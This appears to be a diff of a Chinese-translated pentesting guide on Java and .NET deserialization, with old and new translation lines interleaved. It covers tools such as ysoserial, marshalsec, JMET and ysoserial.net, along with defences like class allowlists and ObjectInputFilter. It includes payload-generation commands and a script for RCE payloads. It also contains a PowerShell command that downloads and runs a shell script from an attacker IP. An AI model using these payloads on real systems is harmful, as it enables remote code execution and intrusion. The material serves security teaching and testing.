[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe 侧重于 **`ObjectInputStream` deserializations**。
|
||||
|
||||
使用Burp扩展[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner),您可以**识别可被ysoserial利用的易受攻击库**并**利用**它们。\
|
||||
[**阅读此文以了解更多关于Java Deserialization Scanner的信息。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
|
||||
使用 Burp 扩展 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) 可以识别可被 ysoserial 利用的 vulnerable libraries 并对其进行 **exploit**。\
|
||||
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner 专注于 **`ObjectInputStream`** deserializations。
|
||||
|
||||
您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用延迟或DNS有效载荷来确认它们。\
|
||||
[**您可以在这里找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
你也可以使用 [**Freddy**](https://github.com/nccgroup/freddy) 在 **Burp** 中检测 **deserializations** 漏洞。该插件不仅能检测与 **`ObjectInputStream`** 相关的漏洞,还能检测来自 **Json** 和 **Yml** 反序列化库的漏洞。在 active 模式下,它会尝试使用 sleep 或 DNS payloads 来确认这些漏洞。\
|
||||
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**序列化测试**
|
||||
序列化测试
|
||||
|
||||
并非所有内容都与检查服务器是否使用任何易受攻击库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**(可能授予您在web应用程序中的管理员权限)。\
|
||||
如果您发现一个java序列化对象被发送到web应用程序,**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。
|
||||
并非所有工作都只是检查服务器是否使用了易受攻击的库。有时你可以**修改序列化对象内的数据以绕过某些校验**(例如可能在 webapp 中获得 admin privileges)。\
|
||||
如果你发现有 java serialized object 被发送到 web 应用,**你可以使用** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **以更易读的格式打印出所发送的序列化对象**。知道你发送了哪些数据以后,修改这些数据并绕过校验会更容易。
|
||||
|
||||
### **利用**
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
利用Java反序列化的主要工具是[**ysoserial**](https://github.com/frohoff/ysoserial)([**在此下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified),这将允许您使用复杂的命令(例如带管道的命令)。\
|
||||
请注意,此工具**专注于**利用**`ObjectInputStream`**。\
|
||||
我会**先使用“URLDNS”**有效载荷**再使用RCE**有效载荷来测试注入是否可能。无论如何,请注意“URLDNS”有效载荷可能不起作用,但其他RCE有效载荷可能有效。
|
||||
用于利用 Java 反序列化的主要工具是 [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 你也可以考虑使用 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified),它允许你使用更复杂的命令(例如带管道)。\
|
||||
请注意该工具**专注**于利用 **`ObjectInputStream`**。\
|
||||
我建议在使用 RCE payload 之前先使用 **"URLDNS"** payload 测试注入是否可行。无论如何,请注意 "URLDNS" payload 可能不起作用,但其他 RCE payload 可能可行。
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -482,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
在为 **java.lang.Runtime.exec()** 创建有效负载时,您 **不能使用特殊字符**,如 ">" 或 "|" 来重定向执行的输出,不能使用 "$()" 来执行命令,甚至不能 **通过空格** 分隔 **传递参数** 给命令(您可以执行 `echo -n "hello world"`,但不能执行 `python2 -c 'print "Hello world"'`)。为了正确编码有效负载,您可以 [使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。
|
||||
当为 **java.lang.Runtime.exec()** 创建 payload 时,你 **不能使用特殊字符**,例如 ">" 或 "|" 来重定向执行输出,"$()" 来执行命令,甚至不能通过 **空格** 分隔 **传递参数** 给命令(你可以做 `echo -n "hello world"`,但不能做 `python2 -c 'print "Hello world"'`)。为了正确编码 payload,你可以 [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html)。
|
||||
|
||||
请随意使用下一个脚本来创建 **所有可能的代码执行** 有效负载,适用于 Windows 和 Linux,然后在易受攻击的网页上测试它们:
|
||||
随意使用下面的脚本来为 Windows 和 Linux 创建 **所有可能的代码执行** payloads,然后在易受攻击的网页上测试它们:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -507,12 +523,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
您可以**使用** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **与 ysoserial 一起创建更多漏洞利用**。有关此工具的更多信息,请参见**演讲的幻灯片**,该工具在其中介绍:[https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
你可以 **使用** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **与 ysoserial 一起创建更多 exploits**。更多关于该工具的信息见该工具展示时的 **演讲幻灯片**: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)可用于生成有效载荷,以利用 Java 中不同的**Json**和**Yml**序列化库。\
|
||||
为了编译该项目,我需要**添加**这些**依赖项**到 `pom.xml`:
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) 可用于生成 payloads,以 exploit Java 中不同的 **Json** 和 **Yml** 序列化库。\
|
||||
为了编译该项目,我需要在 `pom.xml` 中 **添加** 这些 **依赖项**:
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -527,35 +543,35 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**安装 maven**,并 **编译** 项目:
|
||||
**安装 maven**, 并 **编译** 项目:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
阅读更多关于这个Java JSON库的信息: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
了解更多关于这个 Java JSON 库的信息: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Labs
|
||||
### 实验
|
||||
|
||||
- 如果你想测试一些ysoserial有效载荷,你可以**运行这个web应用**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- 如果你想测试一些 ysoserial payloads,你可以 **运行这个 webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
### 为什么
|
||||
|
||||
Java在各种目的上使用了大量的序列化,例如:
|
||||
Java 在多种场景大量使用序列化,例如:
|
||||
|
||||
- **HTTP请求**: 序列化广泛用于参数、ViewState、cookies等的管理。
|
||||
- **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化,是Java应用程序远程通信的基石。
|
||||
- **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用使用,利用序列化进行所有对象通信。
|
||||
- **JMX (Java管理扩展)**: JMX利用序列化在网络上传输对象。
|
||||
- **自定义协议**: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的漏洞示例中演示。
|
||||
- **HTTP requests**:序列化广泛用于参数、ViewState、cookies 等的处理。
|
||||
- **RMI (Remote Method Invocation)**:Java RMI 协议完全依赖于序列化,是 Java 应用远程通信的基石。
|
||||
- **RMI over HTTP**:这种方式常被基于 Java 的 thick client web 应用使用,利用序列化进行所有对象通信。
|
||||
- **JMX (Java Management Extensions)**:JMX 使用序列化在网络上传输对象。
|
||||
- **Custom Protocols**:在 Java 中,标准做法通常涉及传输原始 Java 对象,这将在后续漏洞利用示例中演示。
|
||||
|
||||
### Prevention
|
||||
### 防护
|
||||
|
||||
#### Transient objects
|
||||
#### transient objects
|
||||
|
||||
一个实现了`Serializable`的类可以将类内任何不应该被序列化的对象实现为`transient`。例如:
|
||||
实现了 `Serializable` 的类可以将类中任何不应被序列化的对象声明为 `transient`。例如:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
@ -564,20 +580,20 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### 避免序列化需要实现 Serializable 的类
|
||||
|
||||
在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象是不可反序列化的,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示:
|
||||
在某些情况下,由于类层次结构,某些 **objects must implement the `Serializable`** 接口,这会带来意外反序列化的风险。为防止这种情况,请通过定义一个始终抛出异常的 `final` `readObject()` 方法来确保这些对象不可反序列化,如下所示:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **增强 Java 中的反序列化安全性**
|
||||
#### **增强 Java 中的反序列化安全**
|
||||
|
||||
**自定义 `java.io.ObjectInputStream`** 是保护反序列化过程的实用方法。当满足以下条件时,此方法适用:
|
||||
**自定义 `java.io.ObjectInputStream`** 是保护反序列化过程的一种实用方法。此方法适用于:
|
||||
|
||||
- 反序列化代码在您的控制之下。
|
||||
- 预期反序列化的类是已知的。
|
||||
- 反序列化代码由你控制。
|
||||
- 预期用于反序列化的类是已知的。
|
||||
|
||||
重写 **`resolveClass()`** 方法以限制反序列化仅限于允许的类。这可以防止反序列化任何类,除了那些明确允许的类,例如以下示例仅限制反序列化为 `Bicycle` 类:
|
||||
重写 **`resolveClass()`** 方法以将反序列化限制为仅允许的类。这可以防止反序列化除明确允许之外的任何类,例如下面的示例将反序列化限制为仅 `Bicycle` 类:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -598,17 +614,17 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**使用 Java Agent 增强安全性** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**,使用 JVM 参数:
|
||||
**Using a Java Agent for Security Enhancement** 提供一种回退方案,当无法修改代码时可用。此方法主要用于 **blacklisting harmful classes**,通过 JVM 参数:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
它提供了一种动态保护反序列化的方法,适用于在立即代码更改不切实际的环境中。
|
||||
它提供了一种动态保护反序列化的方法,适用于无法立即修改代码的环境。
|
||||
|
||||
查看 [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) 中的示例
|
||||
查看示例在 [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**实现序列化过滤器**:Java 9 通过 **`ObjectInputFilter`** 接口引入了序列化过滤器,提供了一种强大的机制,用于指定反序列化之前序列化对象必须满足的标准。这些过滤器可以全局应用或按流应用,提供对反序列化过程的细粒度控制。
|
||||
**实现序列化过滤器**:Java 9 引入了通过 **`ObjectInputFilter`** 接口的序列化过滤器,提供了一种强大的机制,用于指定序列化对象在反序列化之前必须满足的条件。这些过滤器可以全局应用或针对单个流应用,从而对反序列化过程提供细粒度的控制。
|
||||
|
||||
要使用序列化过滤器,您可以设置一个适用于所有反序列化操作的全局过滤器,或为特定流动态配置它。例如:
|
||||
要使用序列化过滤器,您可以设置一个适用于所有反序列化操作的全局过滤器,或者为特定流动态配置它。例如:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -620,101 +636,102 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**利用外部库增强安全性**:像**NotSoSerial**、**jdeserialize**和**Kryo**这样的库提供了控制和监控Java反序列化的高级功能。这些库可以提供额外的安全层,例如白名单或黑名单类、在反序列化之前分析序列化对象,以及实现自定义序列化策略。
|
||||
**利用外部库增强安全性**:像 **NotSoSerial**, **jdeserialize**, 和 **Kryo** 这样的库提供用于控制和监控 Java deserialization 的高级功能。 这些库可以提供额外的安全层,例如对类的 whitelisting 或 blacklisting,在 deserialization 之前分析 serialized objects,以及实现自定义的 serialization strategies。
|
||||
|
||||
- **NotSoSerial**拦截反序列化过程,以防止执行不受信任的代码。
|
||||
- **jdeserialize**允许在不反序列化的情况下分析序列化的Java对象,帮助识别潜在的恶意内容。
|
||||
- **Kryo**是一个替代的序列化框架,强调速度和效率,提供可配置的序列化策略,可以增强安全性。
|
||||
- **NotSoSerial** 拦截 deserialization 过程以防止执行不受信任的代码。
|
||||
- **jdeserialize** 允许在不 deserializing 的情况下分析 serialized Java objects,帮助识别潜在的恶意内容。
|
||||
- **Kryo** 是一个侧重于速度和效率的替代 serialization 框架,提供可配置的 serialization strategies 来增强安全性。
|
||||
|
||||
### 参考文献
|
||||
### References
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- 反序列化和ysoserial讲座:[http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- 讲座关于gadgetinspector:[https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8)和幻灯片:[https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec论文:[https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java和.Net JSON反序列化**论文:**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,**讲座:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c)和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- 反序列化CVE:[https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI注入与log4Shell
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
查找什么是 **JNDI Injection,如何通过 RMI、CORBA & LDAP 滥用它以及如何利用 log4shell**(以及该 vuln 的示例)请参见以下页面:
|
||||
|
||||
查找什么是**JNDI注入,如何通过RMI、CORBA和LDAP滥用它,以及如何利用log4shell**(以及此漏洞的示例)在以下页面:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
{{#endref}}
|
||||
|
||||
## JMS - Java消息服务
|
||||
## JMS - Java Message Service
|
||||
|
||||
> **Java消息服务**(**JMS**)API是一个Java面向消息的中间件API,用于在两个或多个客户端之间发送消息。它是处理生产者-消费者问题的实现。JMS是Java平台企业版(Java EE)的一部分,由Sun Microsystems开发的规范定义,但此后由Java社区过程指导。它是一种消息标准,允许基于Java EE的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松耦合、可靠和异步的。(来自[维基百科](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
> The **Java Message Service** (**JMS**) API 是一个用于在两个或多个客户端之间发送消息的 Java message-oriented middleware API。它是为处理 producer–consumer 问题而实现的。JMS 是 Java Platform, Enterprise Edition (Java EE) 的一部分,由 Sun Microsystems 开发规范,随后由 Java Community Process 指导。它是一种消息标准,允许基于 Java EE 的应用组件创建、发送、接收和读取消息。它使分布式应用的不同组件之间的通信可以松耦合、可靠且异步。(From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
|
||||
### 产品
|
||||
### Products
|
||||
|
||||
有几个产品使用此中间件发送消息:
|
||||
有若干使用该中间件发送消息的产品:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
### 利用
|
||||
### Exploitation
|
||||
|
||||
所以,基本上有**一堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您将能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\
|
||||
这意味着在此利用中,所有**将使用该消息的客户端将被感染**。
|
||||
基本上,有**大量以危险方式使用 JMS 的服务**。因此,如果你有**足够的权限**向这些服务发送消息(通常需要有效凭证),你可能能够发送**恶意的 serialized objects,这些对象会被 consumer/subscriber 反序列化**。\
|
||||
这意味着在这种利用场景下,所有**将使用该消息的客户端都会被感染**。
|
||||
|
||||
您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的gadget来利用该漏洞。
|
||||
你应该记住,即便某个服务存在漏洞(因为它不安全地 deserializing 用户输入),你仍然需要找到合适的 gadgets 来利用该漏洞。
|
||||
|
||||
工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务,发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的gadget在易受攻击的应用程序中时有效。
|
||||
工具 [JMET](https://github.com/matthiaskaiser/jmet) 是为**连接并攻击这些服务,发送使用已知 gadgets 序列化的多个恶意对象**而创建的。如果服务仍然存在漏洞并且任何所用 gadget 存在于易受攻击的应用中,这些利用将会奏效。
|
||||
|
||||
### 参考文献
|
||||
### References
|
||||
|
||||
- [Patchstack advisory – Everest Forms未认证PHP对象注入(CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- JMET讲座:[https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- 幻灯片:[https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
在.Net的上下文中,反序列化利用以类似于Java的方式操作,其中gadget被利用在反序列化对象时运行特定代码。
|
||||
在 .Net 的上下文中,deserialization 利用的运作方式与 Java 类似,通过利用 gadgets 在对象反序列化期间运行特定代码。
|
||||
|
||||
### 指纹
|
||||
### Fingerprint
|
||||
|
||||
#### 白盒
|
||||
#### WhiteBox
|
||||
|
||||
应检查源代码中是否存在以下内容:
|
||||
应检查源代码中是否出现以下项:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
重点应放在允许通过用户控制的变量确定类型的序列化器上。
|
||||
重点应放在允许类型由用户可控变量决定的 serializers 上。
|
||||
|
||||
#### 黑盒
|
||||
#### BlackBox
|
||||
|
||||
搜索应针对Base64编码字符串**AAEAAAD/////**或任何可能在服务器端进行反序列化的类似模式,从而控制要反序列化的类型。这可能包括但不限于包含`TypeObject`或`$type`的**JSON**或**XML**结构。
|
||||
搜索应针对 Base64 编码字符串 **AAEAAAD/////** 或任何可能在服务器端被反序列化并授予对要反序列化类型控制的类似模式进行。这可能包括但不限于具有 `TypeObject` 或 `$type` 的 **JSON** 或 **XML** 结构。
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
在这种情况下,您可以使用工具[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)来**创建反序列化利用**。下载git存储库后,您应该**使用Visual Studio等编译该工具**。
|
||||
在这种情况下,你可以使用工具 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) 来**创建 deserialization 利用**。下载 git 仓库后,应使用 Visual Studio 等工具**编译该工具**。
|
||||
|
||||
如果您想了解**ysoserial.net是如何创建其利用的**,您可以[**查看此页面,其中解释了ObjectDataProvider gadget + ExpandedWrapper + Json.Net格式化程序**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
如果你想了解 **ysoserial.net 是如何创建其 exploit 的**,你可以[**查看此页面,里面解释了 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
|
||||
**ysoserial.net**的主要选项包括:**`--gadget`**、**`--formatter`**、**`--output`**和**`--plugin`**。
|
||||
**ysoserial.net** 的主要选项是:**`--gadget`**, **`--formatter`**, **`--output`** 和 **`--plugin`.**
|
||||
|
||||
- **`--gadget`**用于指示要滥用的gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。
|
||||
- **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化)
|
||||
- **`--output`**用于指示您是否希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows默认使用的编码)对有效负载进行**编码**,因此如果您获取原始数据并仅从Linux控制台进行编码,可能会遇到一些**编码兼容性问题**,这将阻止利用正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_
|
||||
- **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**,如ViewState
|
||||
- **`--gadget`** 用于指示要滥用的 gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。
|
||||
- **`--formatter`** 用于指示序列化 exploit 的方法(你需要知道后端使用哪个库来 deserialize payload,并使用相同的库来序列化它)。
|
||||
- **`--output`** 用于指示你想要 exploit 的输出是 **raw** 还是 **base64** 编码。_注意 **ysoserial.net** 会使用 **UTF-16LE** 对 payload 进行**编码**(这是 Windows 上默认使用的编码),所以如果你获取了 raw 并在 linux 控制台上直接进行编码,可能会遇到一些 **编码兼容性问题**,从而阻止 exploit 正常工作(在 HTB JSON box 中该 payload 在 UTF-16LE 和 ASCII 下均可工作,但这并不意味着它始终有效)。_
|
||||
- **`--plugin`** ysoserial.net 支持插件以为特定框架制作 **exploits**,例如 ViewState
|
||||
|
||||
#### 更多ysoserial.net参数
|
||||
#### More ysoserial.net parameters
|
||||
|
||||
- `--minify`将提供一个**更小的有效负载**(如果可能)
|
||||
- `--raf -f Json.Net -c "anything"`这将指示可以与提供的格式化程序(在这种情况下为`Json.Net`)一起使用的所有gadget
|
||||
- `--sf xml`您可以**指示一个gadget**(`-g`),ysoserial.net将搜索包含“xml”的格式化程序(不区分大小写)
|
||||
- `--minify` 将提供一个**更小的 payload**(如果可能)
|
||||
- `--raf -f Json.Net -c "anything"` 这将指示所有可以与所提供 formatter(此例为 `Json.Net`)一起使用的 gadgets
|
||||
- `--sf xml` 你可以**指示一个 gadget**(`-g`)并且 ysoserial.net 会搜索包含 "xml"(不区分大小写)的 formatters
|
||||
|
||||
**ysoserial示例**以创建利用:
|
||||
**ysoserial examples** to create exploits:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -732,9 +749,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** 还有一个 **非常有趣的参数**,可以帮助更好地理解每个漏洞是如何工作的: `--test`\
|
||||
如果你指定这个参数,**ysoserial.net** 将 **在本地尝试** 该 **漏洞,** 这样你可以测试你的有效载荷是否能正确工作。\
|
||||
